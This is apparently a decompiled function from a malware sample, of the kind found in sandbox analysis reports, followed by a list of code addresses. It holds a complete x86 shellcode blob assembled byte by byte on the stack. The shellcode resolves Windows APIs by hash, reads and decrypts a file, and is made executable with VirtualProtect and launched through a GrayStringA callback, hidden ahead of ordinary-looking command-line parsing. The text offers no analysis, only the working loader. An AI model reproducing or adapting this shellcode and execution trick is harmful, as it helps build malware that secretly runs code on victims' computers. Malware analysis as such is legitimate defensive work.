				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				char _v622;
				char _v623;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v645;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				_Unknown_base(*)() _v684;
				signed int _v688;
				int _v692;
				char _v696;
				char _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				struct HWND__* _v712;
				char _v716;
				_Unknown_base(*)()* _v720;
				char _v724;
				_Unknown_base(*)()* _v728;
				long _v732;
				void* _v1732;
				signed int _t821;
				signed int _t824;
				signed int _t832;
				signed int _t850;
				signed int _t852;
				signed short* _t853;
				WCHAR* _t856;
				signed short _t859;
				signed short* _t870;
				signed int _t879;
				void* _t889;
				signed short* _t944;
				void* _t963;
				void* _t964;
				void* _t965;
				void* _t966;
				void* _t967;
				void* _t971;

				_t964 = __esi;
				_t963 = __edi;
				_t889 = __ebx;
				_v728 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetConsoleWindow");
				_v720 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualProtect");
				_v688 = 0;
				_v16 = 0;
				_v40 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				_v44 = 0;
				_v712 = 0;
				_v692 = 0;
				_v684 = 0xe9;
				_v683 = 0x90;
				_v682 = 0;
				_v681 = 0;
				_v680 = 0;
				_v679 = 0x55;
				_v678 = 0x8b;
				_v677 = 0xec;
				_v676 = 0x56;
				_v675 = 0x8b;
				_v674 = 0x75;
				_v673 = 8;
				_v672 = 0xba;
				_v671 = 0x33;
				_v670 = 0x23;
				_v669 = 0;
				_v668 = 0;
				_v667 = 0x57;
				_v666 = 0xeb;
				_v665 = 0xe;
				_v664 = 0x8b;
				_v663 = 0xca;
				_v662 = 0xd1;
				_v661 = 0xe8;
				_v660 = 0xc1;
				_v659 = 0xe1;
				_v658 = 7;
				_v657 = 0x46;
				_v656 = 0xb;
				_v655 = 0xc8;
				_v654 = 3;
				_v653 = 0xcf;
				_v652 = 3;
				_v651 = 0xd1;
				_v650 = 0xf;
				_v649 = 0xbe;
				_v648 = 0x3e;
				_v647 = 0x8b;
				_v646 = 0xc2;
				_v645 = 0x85;
				_v644 = 0xff;
				_v643 = 0x75;
				_v642 = 0xe9;
				_v641 = 0x5f;
				_v640 = 0x5e;
				_v639 = 0x5d;
				_v638 = 0xc3;
				_v637 = 0x55;
				_v636 = 0x8b;
				_v635 = 0xec;
				_v634 = 0x51;
				_v633 = 0x51;
				_v632 = 0x53;
				_v631 = 0x56;
				_v630 = 0x57;
				_v629 = 0x8b;
				_v628 = 0x7d;
				_v627 = 8;
				_v626 = 0x33;
				_v625 = 0xf6;
				_v624 = 0x8b;
				_v623 = 0x47;
				_v622 = 0x3c;
				_v621 = 0x8b;
				_v620 = 0x44;
				_v619 = 0x38;
				_v618 = 0x78;
				_v617 = 3;
				_v616 = 0xc7;
				_v615 = 0x8b;
				_v614 = 0x50;
				_v613 = 0x20;
				_v612 = 0x8b;
				_v611 = 0x58;
				_v610 = 0x1c;
				_v609 = 3;
				_v608 = 0xd7;
				_v607 = 0x8b;
				_v606 = 0x48;
				_v605 = 0x24;
				_v604 = 3;
				_v603 = 0xdf;
				_v602 = 0x8b;
				_v601 = 0x40;
				_v600 = 0x18;
				_v599 = 3;
				_v598 = 0xcf;
				_v597 = 0x89;
				_v596 = 0x55;
				_v595 = 0xfc;
				_v594 = 0x89;
				_v593 = 0x4d;
				_v592 = 0xf8;
				_v591 = 0x89;
				_v590 = 0x45;
				_v589 = 8;
				_v588 = 0x85;
				_v587 = 0xc0;
				_v586 = 0x74;
				_v585 = 0x1a;
				_v584 = 0x8b;
				_v583 = 4;
				_v582 = 0xb2;
				_v581 = 3;
				_v580 = 0xc7;
				_v579 = 0x50;
				_v578 = 0xe8;
				_v577 = 0x96;
				_v576 = 0xff;
				_v575 = 0xff;
				_v574 = 0xff;
				_v573 = 0x59;
				_v572 = 0x3b;
				_v571 = 0x45;
				_v570 = 0xc;
				_v569 = 0x74;
				_v568 = 0x12;
				_v567 = 0x8b;
				_v566 = 0x55;
				_v565 = 0xfc;
				_v564 = 0x46;
				_v563 = 0x3b;
				_v562 = 0x75;
				_v561 = 8;
				_v560 = 0x72;
				_v559 = 0xe6;
				_v558 = 0x33;
				_v557 = 0xc0;
				_v556 = 0x5f;
				_v555 = 0x5e;
				_v554 = 0x5b;
				_v553 = 0x8b;
				_v552 = 0xe5;
				_v551 = 0x5d;
				_v550 = 0xc3;
				_v549 = 0x8b;
				_v548 = 0x45;
				_v547 = 0xf8;
				_v546 = 0xf;
				_v545 = 0xb7;
				_v544 = 4;
				_v543 = 0x70;
				_v542 = 0x8b;
				_v541 = 4;
				_v540 = 0x83;
				_v539 = 3;
				_v538 = 0xc7;
				_v537 = 0xeb;
				_v536 = 0xeb;
				_v535 = 0x55;
				_v534 = 0x8b;
				_v533 = 0xec;
				_v532 = 0x81;
				_v531 = 0xec;
				_v530 = 0x24;
				_v529 = 4;
				_v528 = 0;
				_v527 = 0;
				_v526 = 0x53;
				_v525 = 0x56;
				_v524 = 0x57;
				_v523 = 0x64;
				_v522 = 0xa1;
				_v521 = 0x30;
				_v520 = 0;
				_v519 = 0;
				_v518 = 0;
				_v517 = 0x8b;
				_v516 = 0x40;
				_v515 = 0xc;
				_v514 = 0x8b;
				_v513 = 0x40;
				_v512 = 0xc;
				_v511 = 0x8b;
				_v510 = 0;
				_v509 = 0x8b;
				_v508 = 0;
				_v507 = 0x8b;
				_v506 = 0x40;
				_v505 = 0x18;
				_v504 = 0x8b;
				_v503 = 0xf0;
				_v502 = 0x33;
				_v501 = 0xdb;
				_v500 = 0x68;
				_v499 = 0xdd;
				_v498 = 0xaa;
				_v497 = 0x3c;
				_v496 = 0x65;
				_v495 = 0x56;
				_v494 = 0x89;
				_v493 = 0x5d;
				_v492 = 0xec;
				_v491 = 0xe8;
				_v490 = 0x69;
				_v489 = 0xff;
				_v488 = 0xff;
				_v487 = 0xff;
				_v486 = 0x68;
				_v485 = 0xad;
				_v484 = 6;
				_v483 = 0xfc;
				_v482 = 0xeb;
				_v481 = 0x56;
				_v480 = 0x8b;
				_v479 = 0xf8;
				_v478 = 0xe8;
				_v477 = 0x5c;
				_v476 = 0xff;
				_v475 = 0xff;
				_v474 = 0xff;
				_v473 = 0x68;
				_v472 = 0xb9;
				_v471 = 0x9a;
				_v470 = 0x91;
				_v469 = 0xfb;
				_v468 = 0x56;
				_v467 = 0x89;
				_v466 = 0x45;
				_v465 = 0xf8;
				_v464 = 0xe8;
				_v463 = 0x4e;
				_v462 = 0xff;
				_v461 = 0xff;
				_v460 = 0xff;
				_v459 = 0x68;
				_v458 = 0xc;
				_v457 = 0xc7;
				_v456 = 0x94;
				_v455 = 0x76;
				_v454 = 0x56;
				_v453 = 0x89;
				_v452 = 0x45;
				_v451 = 0xfc;
				_v450 = 0xe8;
				_v449 = 0x40;
				_v448 = 0xff;
				_v447 = 0xff;
				_v446 = 0xff;
				_v445 = 0x68;
				_v444 = 0x51;
				_v443 = 0x3d;
				_v442 = 0x4e;
				_v441 = 0xbc;
				_v440 = 0x56;
				_v439 = 0x89;
				_v438 = 0x45;
				_v437 = 0xf4;
				_v436 = 0xe8;
				_v435 = 0x32;
				_v434 = 0xff;
				_v433 = 0xff;
				_v432 = 0xff;
				_v431 = 0x83;
				_v430 = 0xc4;
				_v429 = 0x28;
				_v428 = 0x89;
				_v427 = 0x45;
				_v426 = 0xf0;
				_v425 = 0x8d;
				_v424 = 0x85;
				_v423 = 0xdc;
				_v422 = 0xfb;
				_v421 = 0xff;
				_v420 = 0xff;
				_v419 = 0x68;
				_v418 = 3;
				_v417 = 1;
				_v416 = 0;
				_v415 = 0;
				_v414 = 0x50;
				_v413 = 0x53;
				_v412 = 0xff;
				_v411 = 0xd7;
				_v410 = 0x85;
				_v409 = 0xc0;
				_v408 = 0xf;
				_v407 = 0x84;
				_v406 = 0x39;
				_v405 = 1;
				_v404 = 0;
				_v403 = 0;
				_v402 = 0x53;
				_v401 = 0x68;
				_v400 = 0x80;
				_v399 = 0;
				_v398 = 0;
				_v397 = 0;
				_v396 = 0x6a;
				_v395 = 3;
				_v394 = 0x53;
				_v393 = 0x6a;
				_v392 = 7;
				_v391 = 0x68;
				_v390 = 0;
				_v389 = 0;
				_v388 = 0;
				_v387 = 0x80;
				_v386 = 0x8d;
				_v385 = 0x85;
				_v384 = 0xdc;
				_v383 = 0xfb;
				_v382 = 0xff;
				_v381 = 0xff;
				_v380 = 0x50;
				_v379 = 0xff;
				_v378 = 0x55;
				_v377 = 0xfc;
				_v376 = 0x89;
				_v375 = 0x45;
				_v374 = 0xfc;
				_v373 = 0x83;
				_v372 = 0xf8;
				_v371 = 0xff;
				_v370 = 0xf;
				_v369 = 0x84;
				_v368 = 0x13;
				_v367 = 1;
				_v366 = 0;
				_v365 = 0;
				_v364 = 0x53;
				_v363 = 0x50;
				_v362 = 0xff;
				_v361 = 0x55;
				_v360 = 0xf4;
				_v359 = 0x8b;
				_v358 = 0xf8;
				_v357 = 0x83;
				_v356 = 0xff;
				_v355 = 0xff;
				_v354 = 0xf;
				_v353 = 0x84;
				_v352 = 3;
				_v351 = 1;
				_v350 = 0;
				_v349 = 0;
				_v348 = 0x6a;
				_v347 = 4;
				_v346 = 0x68;
				_v345 = 0;
				_v344 = 0x30;
				_v343 = 0;
				_v342 = 0;
				_v341 = 0x57;
				_v340 = 0x53;
				_v339 = 0xff;
				_v338 = 0x55;
				_v337 = 0xf8;
				_v336 = 0x8b;
				_v335 = 0xf0;
				_v334 = 0x85;
				_v333 = 0xf6;
				_v332 = 0xf;
				_v331 = 0x84;
				_v330 = 0xed;
				_v329 = 0;
				_v328 = 0;
				_v327 = 0;
				_v326 = 0x53;
				_v325 = 0x8d;
				_v324 = 0x45;
				_v323 = 0xec;
				_v322 = 0x50;
				_v321 = 0x57;
				_v320 = 0x56;
				_v319 = 0xff;
				_v318 = 0x75;
				_v317 = 0xfc;
				_v316 = 0xff;
				_v315 = 0x55;
				_v314 = 0xf0;
				_v313 = 0x85;
				_v312 = 0xc0;
				_v311 = 0xf;
				_v310 = 0x84;
				_v309 = 0xd8;
				_v308 = 0;
				_v307 = 0;
				_v306 = 0;
				_v305 = 0x8b;
				_v304 = 0x46;
				_v303 = 0x3c;
				_v302 = 3;
				_v301 = 0xc6;
				_v300 = 0xf;
				_v299 = 0xb7;
				_v298 = 0x48;
				_v297 = 6;
				_v296 = 0x8b;
				_v295 = 0x50;
				_v294 = 0x54;
				_v293 = 0x89;
				_v292 = 0x55;
				_v291 = 0xfc;
				_v290 = 0x85;
				_v289 = 0xc9;
				_v288 = 0x74;
				_v287 = 0x19;
				_v286 = 0xf;
				_v285 = 0xb7;
				_v284 = 0x50;
				_v283 = 0x14;
				_v282 = 0x83;
				_v281 = 0xc2;
				_v280 = 0x28;
				_v279 = 3;
				_v278 = 0xc2;
				_v277 = 0x8b;
				_v276 = 0x55;
				_v275 = 0xfc;
				_v274 = 3;
				_v273 = 0x10;
				_v272 = 0x8d;
				_v271 = 0x40;
				_v270 = 0x28;
				_v269 = 0x83;
				_v268 = 0xe9;
				_v267 = 1;
				_v266 = 0x75;
				_v265 = 0xf6;
				_v264 = 0x89;
				_v263 = 0x55;
				_v262 = 0xfc;
				_v261 = 0x6a;
				_v260 = 0x40;
				_v259 = 0xb8;
				_v258 = 0xd;
				_v257 = 0x15;
				_v256 = 0;
				_v255 = 0;
				_v254 = 0x2b;
				_v253 = 0xfa;
				_v252 = 0x68;
				_v251 = 0;
				_v250 = 0x30;
				_v249 = 0;
				_v248 = 0;
				_v247 = 0x50;
				_v246 = 0x53;
				_v245 = 0x2b;
				_v244 = 0xf8;
				_v243 = 0xff;
				_v242 = 0x55;
				_v241 = 0xf8;
				_v240 = 3;
				_v239 = 0x75;
				_v238 = 0xfc;
				_v237 = 0x68;
				_v236 = 0xd;
				_v235 = 0x15;
				_v234 = 0;
				_v233 = 0;
				_v232 = 0x56;
				_v231 = 0x50;
				_v230 = 0x89;
				_v229 = 0x45;
				_v228 = 0xf0;
				_v227 = 0xe8;
				_v226 = 0x8c;
				_v225 = 0;
				_v224 = 0;
				_v223 = 0;
				_v222 = 0x83;
				_v221 = 0xc4;
				_v220 = 0xc;
				_v219 = 0x6a;
				_v218 = 0x40;
				_v217 = 0x68;
				_v216 = 0;
				_v215 = 0x30;
				_v214 = 0;
				_v213 = 0;
				_v212 = 0x57;
				_v211 = 0x53;
				_v210 = 0xff;
				_v209 = 0x55;
				_v208 = 0xf8;
				_v207 = 0x57;
				_v206 = 0x8d;
				_v205 = 0x8e;
				_v204 = 0xd;
				_v203 = 0x15;
				_v202 = 0;
				_v201 = 0;
				_v200 = 0x89;
				_v199 = 0x45;
				_v198 = 0xf4;
				_v197 = 0x51;
				_v196 = 0x50;
				_v195 = 0xe8;
				_v194 = 0x6c;
				_v193 = 0;
				_v192 = 0;
				_v191 = 0;
				_v190 = 0x8b;
				_v189 = 0x55;
				_v188 = 0xf0;
				_v187 = 0x83;
				_v186 = 0xc4;
				_v185 = 0xc;
				_v184 = 0x8a;
				_v183 = 4;
				_v182 = 0x13;
				_v181 = 0xb1;
				_v180 = 0x51;
				_v179 = 0xfe;
				_v178 = 0xc0;
				_v177 = 2;
				_v176 = 0xc3;
				_v175 = 0x34;
				_v174 = 0xfc;
				_v173 = 2;
				_v172 = 0xc3;
				_v171 = 0xf6;
				_v170 = 0xd8;
				_v169 = 0xc0;
				_v168 = 0xc8;
				_v167 = 3;
				_v166 = 0x34;
				_v165 = 0x1a;
				_v164 = 0xd0;
				_v163 = 0xc0;
				_v162 = 4;
				_v161 = 0x6a;
				_v160 = 2;
				_v159 = 0xc3;
				_v158 = 0xf6;
				_v157 = 0xd0;
				_v156 = 0x2a;
				_v155 = 0xc3;
				_v154 = 0xc0;
				_v153 = 0xc0;
				_v152 = 2;
				_v151 = 0x2c;
				_v150 = 0x62;
				_v149 = 0x34;
				_v148 = 0x96;
				_v147 = 0x2a;
				_v146 = 0xc3;
				_v145 = 0x34;
				_v144 = 0x60;
				_v143 = 2;
				_v142 = 0xc3;
				_v141 = 0xf6;
				_v140 = 0xd0;
				_v139 = 0x32;
				_v138 = 0xc3;
				_v137 = 0xf6;
				_v136 = 0xd8;
				_v135 = 0x34;
				_v134 = 0x3e;
				_v133 = 0x2a;
				_v132 = 0xc8;
				_v131 = 0xb0;
				_v130 = 0x8a;
				_v129 = 0xd0;
				_v128 = 0xc1;
				_v127 = 2;
				_v126 = 0xcb;
				_v125 = 0x80;
				_v124 = 0xf1;
				_v123 = 0x25;
				_v122 = 0xc0;
				_v121 = 0xc1;
				_v120 = 3;
				_v119 = 0x80;
				_v118 = 0xe9;
				_v117 = 0x4e;
				_v116 = 0xc0;
				_v115 = 0xc1;
				_v114 = 2;
				_v113 = 0x2a;
				_v112 = 0xc1;
				_v111 = 0x34;
				_v110 = 0xa4;
				_v109 = 4;
				_v108 = 0x7d;
				_v107 = 0x88;
				_v106 = 4;
				_v105 = 0x13;
				_v104 = 0x43;
				_v103 = 0x81;
				_v102 = 0xfb;
				_v101 = 0xd;
				_v100 = 0x15;
				_v99 = 0;
				_v98 = 0;
				_v97 = 0x72;
				_v96 = 0xa7;
				_v95 = 0xff;
				_v94 = 0x75;
				_v93 = 0xf4;
				_v92 = 0xff;
				_v91 = 0xd2;
				_v90 = 0x59;
				_v89 = 0x5f;
				_v88 = 0x5e;
				_v87 = 0x5b;
				_v86 = 0x8b;
				_v85 = 0xe5;
				_v84 = 0x5d;
				_v83 = 0xc3;
				_v82 = 0x55;
				_v81 = 0x8b;
				_v80 = 0xec;
				_v79 = 0x8b;
				_v78 = 0x55;
				_v77 = 0x10;
				_v76 = 0x85;
				_v75 = 0xd2;
				_v74 = 0x74;
				_v73 = 0x15;
				_v72 = 0x8b;
				_v71 = 0x4d;
				_v70 = 8;
				_v69 = 0x56;
				_v68 = 0x8b;
				_v67 = 0x75;
				_v66 = 0xc;
				_v65 = 0x2b;
				_v64 = 0xf1;
				_v63 = 0x8a;
				_v62 = 4;
				_v61 = 0xe;
				_v60 = 0x88;
				_v59 = 1;
				_v58 = 0x41;
				_v57 = 0x83;
				_v56 = 0xea;
				_v55 = 1;
				_v54 = 0x75;
				_v53 = 0xf5;
				_v52 = 0x5e;
				_v51 = 0x5d;
				_v50 = 0xc3;
				_v49 = 0;
				_v48 = 0;
				_v47 = 0;
				_v46 = 0;
				_v708 = _v720;
				 *0xc991a4(); // executed
				VirtualProtect( &_v684, 0x27f, 0x40,  &_v732);
				GrayStringA(GetDC(0), 0,  &_v684,  &_v1732, 0, 0, 0, 0, 0); // executed
				MessageBoxA(0, 0xca3a75, 0xca3a74, 0);
				if(_a4 != 1) {
					_t821 = E00C533D0(__eflags,  *((intOrPtr*)(_a8 + (4 << 0))));
					_t966 = _t965 + 4;
					__eflags = _t821;
					if(_t821 == 0) {
						_t824 = E00C52EF0(4 << 0,  *((intOrPtr*)(_a8 + 4)),  &_v724);
						_t967 = _t966 + 8;
						_v20 = _t824;
						__eflags = _v20 - 5;
						if(_v20 != 5) {
							__eflags = _a4 - 2;
							if(_a4 > 2) {
								__eflags = 4;
								_t879 = E00C533D0(4,  *((intOrPtr*)(_a8 + (4 << 1))));
								_t967 = _t967 + 4;
								_v688 = _t879;
							}
							__eflags = _a4 - 2;
							if(_a4 == 2) {
								L12:
								_push(0x7f);
								E00C53610();
								_push(E00C7A647(_t889, _t963, _t964,  *((intOrPtr*)(_a8 + (4 << 0)))));
								_push(0x82);
								E00C53610();
								return 1;
							} else {
								__eflags = _v688;
								if(_v688 != 0) {
									L11:
									__eflags = _a4 - 3;
									if(_a4 <= 3) {
										L13:
										__eflags = _v688;
										if(_v688 == 0) {
											__eflags = _v20 - 2;
											if(_v20 != 2) {
												__eflags = _v20 - 3;
												if(_v20 != 3) {
													_t832 = E00C539C0(4 << 1,  *((intOrPtr*)(_a8 + 4)),  &_v700,  &_v696,  &_v716);
													_t971 = _t967 + 0x10;
													__eflags = _t832;
													if(_t832 != 0) {
														_v8 = 3;
														while(1) {
															L23:
															__eflags = _v8 - _a4;
															if(_v8 >= _a4) {
																break;
															}
															_t944 =  *(_a8 + _v8 * 4);
															__eflags = ( *_t944 & 0x0000ffff) - 0x2f;
															if(( *_t944 & 0x0000ffff) == 0x2f) {
																L26:
																_v12 =  *(_a8 + _v8 * 4) + (2 << 0);
																_t850 = lstrcmpiW(_v12, 0xc99840);
																__eflags = _t850;
																if(_t850 != 0) {
																	_t852 = lstrcmpiW(_v12, 0xc99838);
																	__eflags = _t852;
																	if(_t852 != 0) {
																		_t853 = _v12;
																		__eflags =  *_t853 & 0x0000ffff;
																		if(( *_t853 & 0x0000ffff) == 0) {
																			L32:
																			_push(0x6b);
																			E00C53610();
																			return 1;
																		}
																		_t856 = _v12;
																		__eflags =  *(_t856 + (2 << 0)) & 0x0000ffff;
																		if(( *(_t856 + (2 << 0)) & 0x0000ffff) == 0) {
																			_t859 = E00C61C20( *( *(_a8 + _v8 * 4) + (2 << 0)) & 0x0000ffff);
																			_t971 = _t971 + 4;
																			_v32 = _t859 & 0x0000ffff;
																			_v32 = _v32 - 0x64;
																			__eflags = _v32 - 0x12;
																			if(_v32 > 0x12) {
																				L54:
																				_push(0x6b);
																				E00C53610();
																				return 1;
																			}
																			_t730 = _v32 + 0xc563e4; // 0xcccccc04
																			switch( *((intOrPtr*)(( *_t730 & 0x000000ff) * 4 +  &M00C563CC))) {
																				case 0:
																					__eflags = _v36;
																					if(_v36 != 0) {
																						L45:
																						_push(0x6b);
																						__eax = E00C53610();
																						__esp = __esp + 4;
																						__eax = 1;
																						return 1;
																					}
																					_v8 = _v8 + 1;
																					_v8 = _v8 + 1;
																					__eax = _v8;
																					__ecx = _a8;
																					__edx =  *(__ecx + __eax * 4);
																					_v36 =  *(__ecx + __eax * 4);
																					__eflags = _v36;
																					if(_v36 != 0) {
																						goto L55;
																					}
																					goto L45;
																				case 1:
																					_v692 = 1;
																					goto L55;
																				case 2:
																					__eflags = _v20 - 4;
																					if(_v20 != 4) {
																						_v8 = _v8 + 1;
																						_v8 = _v8 + 1;
																						__ecx = _v8;
																						__edx = _a8;
																						__eax =  *(__edx + __ecx * 4);
																						_v12 =  *(__edx + __ecx * 4);
																						__eflags = _v12;
																						if(_v12 == 0) {
																							L51:
																							_push(0x6b);
																							__eax = E00C53610();
																							__esp = __esp + 4;
																							__eax = 1;
																							return 1;
																						}
																						__ecx = _v12;
																						__eax = lstrlenW(_v12);
																						__eflags = __eax - 1;
																						if(__eax == 1) {
																							__edx = 2;
																							__eax = 0;
																							__ecx = _v12;
																							_v28 =  *_v12;
																							goto L55;
																						}
																						goto L51;
																					}
																					_v712 = 1;
																					goto L55;
																				case 3:
																					__eflags = _v40;
																					if(_v40 != 0) {
																						L41:
																						_push(0x6b);
																						__eax = E00C53610();
																						__esp = __esp + 4;
																						__eax = 1;
																						return 1;
																					}
																					_v8 = _v8 + 1;
																					_v8 = _v8 + 1;
																					__edx = _v8;
																					__eax = _a8;
																					__ecx =  *(__eax + __edx * 4);
																					_v40 =  *(__eax + __edx * 4);
																					__eflags = _v40;
																					if(_v40 != 0) {
																						goto L55;
																					}
																					goto L41;
																				case 4:
																					__eflags = _v16;
																					if(_v16 != 0) {
																						L37:
																						_push(0x6b);
																						E00C53610();
																						return 1;
																					}
																					_v8 = _v8 + 1;
																					_v16 =  *(_a8 + _v8 * 4);
																					__eflags = _v16;
																					if(_v16 != 0) {
																						L55:
																						L22:
																						_t918 = _v8 + 1;
																						__eflags = _t918;
																						_v8 = _t918;
																						goto L23;
																					}
																					goto L37;
																				case 5:
																					goto L54;
																			}
																		}
																		goto L32;
																	}
																	_v44 = 1;
																	goto L22;
																}
																_v24 = 1;
																goto L22;
															}
															_t870 =  *(_a8 + _v8 * 4);
															__eflags = ( *_t870 & 0x0000ffff) - 0x2d;
															if(( *_t870 & 0x0000ffff) != 0x2d) {
																goto L55;
															}
															goto L26;
														}
														__eflags = _v16;
														if(_v16 == 0) {
															L58:
															__eflags = _v16;
															if(_v16 == 0) {
																L60:
																__eflags = _v24;
																if(_v24 == 0) {
																	L63:
																	__eflags = _v20;
																	if(_v20 != 0) {
																		__eflags = _v20 - 1;
																		if(_v20 != 1) {
																			_v704 = E00C548F0(_v700, _v696, _v716, _v16, _v24, _v712);
																		} else {
																			_v704 = E00C543E0(_v700, _v696, _v716, _v16, _v24, _v44, _v692);
																		}
																	} else {
																		_v704 = E00C54080(_v700, _v696, _v16, _v24, _v40, _v28 & 0x0000ffff, _v36, _v692);
																	}
																	return _v704;
																}
																__eflags = _v44;
																if(_v44 == 0) {
																	goto L63;
																}
																L62:
																_push(0x6b);
																E00C53610();
																return 1;
															}
															__eflags = _v44;
															if(_v44 != 0) {
																goto L62;
															}
															goto L60;
														}
														__eflags = _v24;
														if(_v24 != 0) {
															goto L62;
														}
														goto L58;
													}
													return 1;
												}
												return E00C545F0(_t963, _t964, _a4, _a8);
											}
											_push( *((intOrPtr*)(_a8 + (4 << 1))));
											return E00C54740(_t889, _t963, _t964);
										}
										_push(_v724);
										E00C53610();
										return 0;
									}
									goto L12;
								}
								__eflags = _v20 - 2;
								if(_v20 != 2) {
									goto L13;
								}
								goto L11;
							}
						}
						_push( *((intOrPtr*)(_a8 + (4 << 0))));
						_push(0x80);
						E00C53610();
						_push(0x81);
						E00C53610();
						return 1;
					}
					_push(0x65);
					E00C53610();
					return 0;
				}
				_push(0x7f);
				E00C53610();
				_push(0x81);
				E00C53610();
				return 1;
			}

0x00c54d50
0x00c54d50
0x00c54d50
0x00c54d70
0x00c54d8d
0x00c54d93
0x00c54d9d
0x00c54da4
0x00c54dab
0x00c54db4
0x00c54db8
0x00c54dbf
0x00c54dc6
0x00c54dd0
0x00c54dda
0x00c54de1
0x00c54de8
0x00c54def
0x00c54df6
0x00c54dfd
0x00c54e04
0x00c54e0b
0x00c54e12
0x00c54e19
0x00c54e20
0x00c54e27
0x00c54e2e
0x00c54e35
0x00c54e3c
0x00c54e43
0x00c54e4a
0x00c54e51
0x00c54e58
0x00c54e5f
0x00c54e66
0x00c54e6d
0x00c54e74
0x00c54e7b
0x00c54e82
0x00c54e89
0x00c54e90
0x00c54e97
0x00c54e9e
0x00c54ea5
0x00c54eac
0x00c54eb3
0x00c54eba
0x00c54ec1
0x00c54ec8
0x00c54ecf
0x00c54ed6
0x00c54edd
0x00c54ee4
0x00c54eeb
0x00c54ef2
0x00c54ef9
0x00c54f00
0x00c54f07
0x00c54f0e
0x00c54f15
0x00c54f1c
0x00c54f23
0x00c54f2a
0x00c54f31
0x00c54f38
0x00c54f3f
0x00c54f46
0x00c54f4d
0x00c54f54
0x00c54f5b
0x00c54f62
0x00c54f69
0x00c54f70
0x00c54f77
0x00c54f7e
0x00c54f85
0x00c54f8c
0x00c54f93
0x00c54f9a
0x00c54fa1
0x00c54fa8
0x00c54faf
0x00c54fb6
0x00c54fbd
0x00c54fc4
0x00c54fcb
0x00c54fd2
0x00c54fd9
0x00c54fe0
0x00c54fe7
0x00c54fee
0x00c54ff5
0x00c54ffc
0x00c55003
0x00c5500a
0x00c55011
0x00c55018
0x00c5501f
0x00c55026
0x00c5502d
0x00c55034
0x00c5503b
0x00c55042
0x00c55049
0x00c55050
0x00c55057
0x00c5505e
0x00c55065
0x00c5506c
0x00c55073
0x00c5507a
0x00c55081
0x00c55088
0x00c5508f
0x00c55096
0x00c5509d
0x00c550a4
0x00c550ab
0x00c550b2
0x00c550b9
0x00c550c0
0x00c550c7
0x00c550ce
0x00c550d5
0x00c550dc
0x00c550e3
0x00c550ea
0x00c550f1
0x00c550f8
0x00c550ff
0x00c55106
0x00c5510d
0x00c55114
0x00c5511b
0x00c55122
0x00c55129
0x00c55130
0x00c55137
0x00c5513e
0x00c55145
0x00c5514c
0x00c55153
0x00c5515a
0x00c55161
0x00c55168
0x00c5516f
0x00c55176
0x00c5517d
0x00c55184
0x00c5518b
0x00c55192
0x00c55199
0x00c551a0
0x00c551a7
0x00c551ae
0x00c551b5
0x00c551bc
0x00c551c3
0x00c551ca
0x00c551d1
0x00c551d8
0x00c551df
0x00c551e6
0x00c551ed
0x00c551f4
0x00c551fb
0x00c55202
0x00c55209
0x00c55210
0x00c55217
0x00c5521e
0x00c55225
0x00c5522c
0x00c55233
0x00c5523a
0x00c55241
0x00c55248
0x00c5524f
0x00c55256
0x00c5525d
0x00c55264
0x00c5526b
0x00c55272
0x00c55279
0x00c55280
0x00c55287
0x00c5528e
0x00c55295
0x00c5529c
0x00c552a3
0x00c552aa
0x00c552b1
0x00c552b8
0x00c552bf
0x00c552c6
0x00c552cd
0x00c552d4
0x00c552db
0x00c552e2
0x00c552e9
0x00c552f0
0x00c552f7
0x00c552fe
0x00c55305
0x00c5530c
0x00c55313
0x00c5531a
0x00c55321
0x00c55328
0x00c5532f
0x00c55336
0x00c5533d
0x00c55344
0x00c5534b
0x00c55352
0x00c55359
0x00c55360
0x00c55367
0x00c5536e
0x00c55375
0x00c5537c
0x00c55383
0x00c5538a
0x00c55391
0x00c55398
0x00c5539f
0x00c553a6
0x00c553ad
0x00c553b4
0x00c553bb
0x00c553c2
0x00c553c9
0x00c553d0
0x00c553d7
0x00c553de
0x00c553e5
0x00c553ec
0x00c553f3
0x00c553fa
0x00c55401
0x00c55408
0x00c5540f
0x00c55416
0x00c5541d
0x00c55424
0x00c5542b
0x00c55432
0x00c55439
0x00c55440
0x00c55447
0x00c5544e
0x00c55455
0x00c5545c
0x00c55463
0x00c5546a
0x00c55471
